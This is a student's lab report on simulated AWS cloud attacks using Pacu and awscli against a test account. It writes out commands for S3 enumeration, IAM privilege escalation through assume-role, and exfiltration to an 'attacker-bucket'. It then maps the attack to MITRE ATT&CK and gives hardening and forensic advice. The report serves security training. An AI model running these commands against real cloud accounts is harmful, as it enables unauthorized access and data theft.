# Task 2 — Cloud Attack Lab (Full Report)

Author: MALEPATI SAMSKAR REDDY

Date: September 19, 2025

Kali IP: 192.168.17.128

Windows VM IP: 192.168.17.129

---

## 1. Objective

Simulate cloud attack techniques by enumerating misconfigured assets, exploiting IAM role weaknesses, and exfiltrating mock data using Pacu and awscli in a lab environment.

## 2. Lab Environment & Tools

Environment:

- Attacker: Kali Linux — 192.168.17.128 with Pacu and awscli installed

- Cloud Simulation: AWS test account / CloudGoat templates

Tools:

- Pacu (AWS exploitation framework)

- awscli (official AWS CLI tool)

- ScoutSuite (cloud security auditing, optional)

## 3. Step-by-Step Methodology (with example commands)

1. A. Enumerate S3 Buckets

aws s3 ls  
aws s3 ls s3://vulnerable-bucket --no-sign-request  
pacu> run s3\_\_enum\_buckets

1. B. Identify Misconfigured Buckets

pacu> run s3\_\_bucket\_info --bucket vulnerable-bucket  
# Identified public-read ACL enabled

1. C. IAM Privilege Escalation

pacu> run iam\_\_enum\_roles  
pacu> run iam\_\_privesc\_scan  
aws sts assume-role --role-arn arn:aws:iam::123456789012:role/DevOpsAdmin --role-session-name escalation

1. D. Data Exfiltration

aws s3 cp s3://vulnerable-bucket/data.txt ./data.txt  
aws s3 cp ./mock\_exfil.zip s3://attacker-bucket/exfil/mock\_exfil.zip

## 4. Observed Evidence

- Screenshot From 2025-09-12 14-31-22.png

- Screenshot From 2025-09-13 22-19-33.png

- Screenshot From 2025-09-15 15-29-05.png

- Screenshot From 2025-09-15 15-32-08.png

- Screenshot From 2025-09-15 15-46-28.png

- Screenshot From 2025-09-15 22-24-16.png

- Screenshot From 2025-09-16 15-58-06.png

- Screenshot From 2025-09-16 16-04-51.png

- Screenshot From 2025-09-16 17-03-30.png

- Screenshot From 2025-09-16 17-07-01.png

- Screenshot From 2025-09-16 17-12-05.png

- Screenshot From 2025-09-16 17-13-47.png

- Screenshot From 2025-09-16 17-17-12.png

- Screenshot From 2025-09-16 17-21-31.png

- Screenshot From 2025-09-16 17-22-12.png

## 5. Timeline of Events (reconstructed)

- T0: awscli and Pacu configured with lab AWS keys.  
- T1: Pacu enumeration modules identified accessible S3 buckets (AID001).   
- T2: Misconfiguration: public-read ACL confirmed on a vulnerable bucket.   
- T3: Pacu IAM module discovered overprivileged role (DevOpsAdmin).   
- T4: Escalation via sts:AssumeRole succeeded, escalating attacker privileges.   
- T5: Exfiltration performed by copying mock data from S3 to local and re-uploading to attacker bucket.

## 6. Findings & Risk Assessment

- Public S3 bucket accessible to unauthenticated users.

- IAM role misconfiguration allowed privilege escalation to administrative access.

- Data exfiltration via S3 cp observed.

- Risk Rating: Critical (CVSS ~9.0) for cloud data breach potential.

## 7. MITRE ATT&CK Mapping

- T1580 — Cloud Infrastructure Discovery (enumerating S3 buckets)

- T1078.004 — Valid Accounts: Cloud Accounts (using IAM roles)

- T1537 — Transfer Data to Cloud Account (data exfiltration)

## 8. Recommendations

- Enforce S3 Block Public Access and monitor with AWS Config.

- Apply least-privilege principles for IAM roles; review regularly.

- Enable CloudTrail and S3 access logging.

- Use GuardDuty to detect unusual IAM and S3 activity.

- Rotate credentials and enforce MFA for IAM accounts.

## 9. Suggested Forensic Artifacts to Collect

- AWS CloudTrail logs: S3 GetObject, PutObject, and sts:AssumeRole events.

- S3 Access Logs from vulnerable bucket.

- Pacu command history and session logs.

- awscli history (~/.aws/cli/history).

## 10. 50-Word Summary

Pacu and awscli were used to enumerate and exploit cloud misconfigurations. A vulnerable S3 bucket was publicly accessible, and an overprivileged IAM role enabled privilege escalation. Mock data was exfiltrated from S3 and re-uploaded to attacker-controlled storage. Recommend S3 ACL hardening, IAM least-privilege, and CloudTrail monitoring.